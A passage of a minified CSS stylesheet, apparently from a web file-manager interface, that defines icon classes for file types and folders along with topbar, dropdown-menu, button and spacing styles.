\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');}.x-tar{background-image:url("../../../images/file_icon/icon_file/tar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');}.x-txt{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-vb{background-image:url("../../../images/file_icon/icon_file/vb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');}.x-vbproj{background-image:url("../../../images/file_icon/icon_file/vbproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');}.x-vbs{background-image:url("../../../images/file_icon/icon_file/vbs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');}.x-vcf{background-image:url("../../../images/file_icon/icon_file/vcf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');}.x-vcproj{background-image:url("../../../images/file_icon/icon_file/vcproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');}.x-vcxproj{background-image:url("../../../images/file_icon/icon_file/vcxproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');}.x-vdw{background-image:url("../../../images/file_icon/icon_file/vdw.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');}.x-vdx{background-image:url("../../../images/file_icon/icon_file/vdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');}.x-vsd{background-image:url("../../../images/file_icon/icon_file/vsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');}.x-vsdx{background-image:url("../../../images/file_icon/icon_file/vsdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');}.x-vss{background-image:url("../../../images/file_icon/icon_file/vss.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');}.x-vst{background-image:url("../../../images/file_icon/icon_file/vst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');}.x-vsx{background-image:url("../../../images/file_icon/icon_file/vsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');}.x-vtx{background-image:url("../../../images/file_icon/icon_file/vtx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');}.x-xaml{background-image:url("../../../images/file_icon/icon_file/xaml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');}.x-xap{background-image:url("../../../images/file_icon/icon_file/xap.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');}.x-xls{background-image:url("../../../images/file_icon/icon_file/xls.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');}.x-xlsb{background-image:url("../../../images/file_icon/icon_file/xlsb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');}.x-xlsm{background-image:url("../../../images/file_icon/icon_file/xlsm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');}.x-xlsx{background-image:url("../../../images/file_icon/icon_file/xlsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');}.x-xlt{background-image:url("../../../images/file_icon/icon_file/xlt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');}.x-xltx{background-image:url("../../../images/file_icon/icon_file/xltx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');}.x-xml{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-xps{background-image:url("../../../images/file_icon/icon_file/xps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');}.x-xsd{background-image:url("../../../images/file_icon/icon_file/xsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');}.x-xsl{background-image:url("../../../images/file_icon/icon_file/xsl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');}.x-y{background-image:url("../../../images/file_icon/icon_file/y.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');}.x-zip{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-folder{background-image:url("../../../images/file_icon/icon_others/folder.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');}.x-folder_share{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-recycle{background-image:url("../../../images/file_icon/icon_others/recycle.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');}.x-recycle_full{background-image:url("../../../images/file_icon/icon_others/recycle_full.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');}.x-path_self_share{background-image:url("../../../images/file_icon/icon_others/path_self_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');}.x-app_link{background-image:url("../../../images/file_icon/icon_others/app_link.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');}.x-user{background-image:url("../../../images/file_icon/icon_others/user.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');}.x-userSelf{background-image:url("../../../images/file_icon/icon_others/userSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');}.x-share{background-image:url("../../../images/file_icon/icon_others/share.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');}.x-groupSelf{background-image:url("../../../images/file_icon/icon_others/groupSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');}.x-groupSelfOwner{background-image:url("../../../images/file_icon/icon_others/groupSelfOwner.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');}.x-groupGuest{background-image:url("../../../images/file_icon/icon_others/groupGuest.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');}.x-groupSelfRoot{background-image:url("../../../images/file_icon/icon_others/groupSelfRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');}.x-groupRoot{background-image:url("../../../images/file_icon/icon_others/groupRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');}.x-groupPublic{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-treeSelf{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-computer{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-treeFav{background-image:url("../../../images/file_icon/icon_others/treeFav.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');}.x-edit{background-image:url("../../../images/file_icon/icon_others/edit.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');}.x-search{background-image:url("../../../images/file_icon/icon_others/search.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');}.x-upload{background-image:url("../../../images/file_icon/icon_others/upload.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');}.x-setting{background-image:url("../../../images/file_icon/icon_others/setting.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');}.x-appStore{background-image:url("../../../images/file_icon/icon_others/appStore.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');}.x-error{background-image:url("../../../images/file_icon/icon_others/error.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');}.x-info{background-image:url("../../../images/file_icon/icon_others/info.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');}body{font-size:12px;padding:0px;margin:0px;font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}textarea,input,button,pre,p,.can_select{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}blockquote{padding:10px 20px;margin:0 0 20px 1em;border-left:10px solid #eee;background:#f6f6f6;}blockquote p{font-size:1em;margin:0px;}input,button,select,textarea{line-height:initial;}a{text-decoration:none;}a:focus{outline:none !important;}.content_box .ace_cjk{width:1em !important;}.content_box .ace_static_highlight{font-size:1.15em;}*,*:before,*:after{-webkit-box-sizing:inherit;-moz-box-sizing:inherit;box-sizing:inherit;}label{font-weight:normal;}pre{border:none;border-radius:0;}.btn-group-sm>.btn{padding:4px 10px;line-height:1em;}.btn{padding:6px 14px;border-radius:3px;}.btn .font-icon{color:#999;}.btn:focus{outline:none;}.btn.btn-default:active,.btn.btn-default.active{border-color:#ADADAD;color:#888;}.btn.btn-left{border-top-right-radius:0;border-bottom-right-radius:0;}.btn.btn-middle{border-radius:0;}.btn.btn-right{border-top-left-radius:0;border-bottom-left-radius:0;}.btn.btn-lg{padding:10px 16px;font-size:18px;line-height:1.33;}.btn.btn-nomal{padding:4px 12px;}.btn.btn-sm{padding:2px 10px;}.btn.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;}[class^="icon-"],[class*=" icon-"]{background-image:auto;}.dropdown-menu{left:auto;right:0px;border-radius:4px;border:1px solid rgba(0,0,0,0.05);box-shadow:0 4px 30px rgba(0,0,0,0.15);max-height:400px;}.dropdown-menu>li>a:hover,.dropdown-menu .this a,.dropdown-menu>li>a:focus{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;background-image:none;filter:none;background:#63acff;color:#fff;}.dropdown-menu>li>a{font-weight:inherit;color:#666;}.dropdown-menu>li>a .font-icon{opacity:0.8;}.dropdown-menu:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);border-right:6px solid rgba(0,0,0,0);border-bottom:6px solid #FFF;position:absolute;top:-6px;right:10px;}.dropdown-menu:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);top:-7px;border-bottom:7px solid #CCC;border-bottom-color:rgba(0,0,0,0.2);right:9px;}.dropdown-menu.menu-top:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);top:inherit;border-right:6px solid rgba(0,0,0,0);border-top:6px solid #FFF;border-bottom:none;position:absolute;bottom:-6px;right:10px;}.dropdown-menu.menu-top:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-bottom:none;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);bottom:-7px;border-top:7px solid #CCC;border-top-color:rgba(0,0,0,0.2);right:9px;top:inherit;}.disable,.disabled{cursor:not-allowed;pointer-events:none;}h1,h2,h3,h4,h5,.h1,.h2,.h3,.h4,.h5{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;}.can_select,.can_select *{-khtml-user-select:text !important;-webkit-user-select:text !important;-moz-user-select:text !important;-ms-user-select:text !important;-o-user-select:text !important;user-select:text !important;}.can_not_select,.can_not_select *{-khtml-user-select:none !important;-webkit-user-select:none !important;-moz-user-select:none !important;-ms-user-select:none !important;-o-user-select:none !important;user-select:none !important;}.pl-5{padding-left:5px;}.pl-10{padding-left:10px;}.pl-15{padding-left:15px;}.pl-20{padding-left:20px;}.pr-5{padding-right:5px;}.pr-10{padding-right:10px;}.pr-15{padding-right:15px;}.pr-20{padding-right:20px;}.ml-5{margin-left:5px;}.ml-10{margin-left:10px;}.ml-15{margin-left:15px;}.ml-20{margin-left:20px;}.mr-5{margin-right:5px;}.mr-10{margin-right:10px;}.mr-15{margin-right:15px;}.mr-20{margin-right:20px;}.fl{float:left;}.fl-left{float:left;}.fl-right{float:right;}.clear{clear:both;}.FontAwesome{font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;font-size:18px;}.translation-fast{-webkit-transition:all 0.168s ease-in-out;-moz-transition:all 0.168s ease-in-out;-o-transition:all 0.168s ease-in-out;-ms-transition:all 0.168s ease-in-out;transition:all 0.168s ease-in-out;}.translation-nomal{-webkit-transition:all 0.25s ease-in-out;-moz-transition:all 0.25s ease-in-out;-o-transition:all 0.25s ease-in-out;-ms-transition:all 0.25s ease-in-out;transition:all 0.25s ease-in-out;}.translation-slow{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-200{-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-ms-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;}.translation-300{-webkit-transition:all 0.3s ease-in-out;-moz-transition:all 0.3s ease-in-out;-o-transition:all 0.3s ease-in-out;-ms-transition:all 0.3s ease-in-out;transition:all 0.3s ease-in-out;}.translation-500{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-1000{-webkit-transition:all 1.0s ease-in-out;-moz-transition:all 1.0s ease-in-out;-o-transition:all 1.0s ease-in-out;-ms-transition:all 1.0s ease-in-out;transition:all 1.0s ease-in-out;}.aui_buttons button{font-size:1em;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dialogChangeMax,.dialogChangeMax .aui_main{-webkit-transition:all 0.25s;-moz-transition:all 0.25s;-o-transition:all 0.25s;-ms-transition:all 0.25s;transition:all 0.25s;}.aui_title span{position:absolute;width:80%;overflow:hidden;height:30px;word-break:break-all;text-overflow:ellipsis;white-space:nowrap;}.less-error-message{display:none;}input{border:1px solid #ddd;background:#fff;outline:none;}input[type="radio"],input[type="checkbox"]{border:none;background:none;}.topbar{width:100%;height:40px;color:#ddd;z-index:100;top:0;background:#63acff;position:fixed;}.topbar .content{padding:0px;line-height:40px;height:40px;wordbreak:break-all;}.topbar .content i.font-icon{display:inline-block;padding-right:10px;font-size:1.1em;}.topbar .content .topbar_menu{display:block;text-decoration:none;color:#fff;border:1px solid #4a9eff;overflow:hidden;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;padding:0px 1.2em;border-top:none;border-bottom:none;outline:none;float:left;margin-left:-1px;font-size:14px;}.topbar .content .topbar_menu.title{font-size:20px;width:200px;width:202px\0;padding:0;text-align:center;}.topbar .content .topbar_menu.title:hover{background:none;}.topbar .content .title img{max-width:200px;max-height:44px;}.topbar .content .open .topbar_menu,.topbar .content .topbar_menu:hover,.topbar .content .topbar_menu.this{background:#4a9eff;}.topbar .content .menu-desktop:before{content:"\f108";}.topbar .content .menu-explorer:before{content:"\f0ae";}.topbar .content .menu-editor:before{content:"\f044";}.topbar .content .top_left{overflow:hidden;height:40px;width:70%;}.topbar .content .top_right{position:absolute;right:0px;top:0px;margin-right:0px;height:40px;}.topbar .content .top_right .menu_group{height:40px;margin-right:-1px;float:left;position:relative;}.topbar .content .top_right .topbar_menu{display:inline-block;padding:0px 6px;margin-right:1px;}.topbar .content .top_right .topbar_menu i{padding-right:3px;}.topbar .content .top_right .btn{color:#fff;}.topbar .content .top_right ul a{line-height:30px;height:30px;display:block;padding:0px 1.7em;border:none;overflow:hidden;}.topbar .content .top_right ul a:hover,.topbar .content .top_right ul a.this{margin-right:0px;}.topbar .content .top_right ul a.this{background:#63acff;color:#fff;}.topbar .content .top_right ul .font-icon{width:18px;display:inline-block;}.topbar .content .top_right ul.dropdown-menu.topbar_language{width:480px;padding:10px 5px;}.topbar .content .top_right ul.dropdown-menu.topbar_language li{width:115px;float:left;}.topbar .content .top_right ul.dropdown-menu.topbar_language a{padding:0 8px 0 8px;height:26px;line-height:26px;font-size:13px;}.topbar .content .top_right ul.dropdown-menu.topbar_language i.flag{padding-right:0px;background-color:#eee;position:relative;top:1px;}.topbar .content .share_title{text-align:center;color:#fff;float:left;margin-left:8px;margin-right:7px;}.topbar .content .share_title_info{color:#fff;font-size:1.25em;background:#eee;background:rgba(0,0,0,0.2);border-radius:4px;padding:6px;}.topbar .content .share_info{color:#fff;float:left;font-size:1em;}.topbar .content .share_info .time{padding-left:5px;color:#fff;padding-right:8px;}.topbar .content .top_right div.share_info_user{margin-right:10px;color:#fff;position:relative;}.topbar .content .top_right 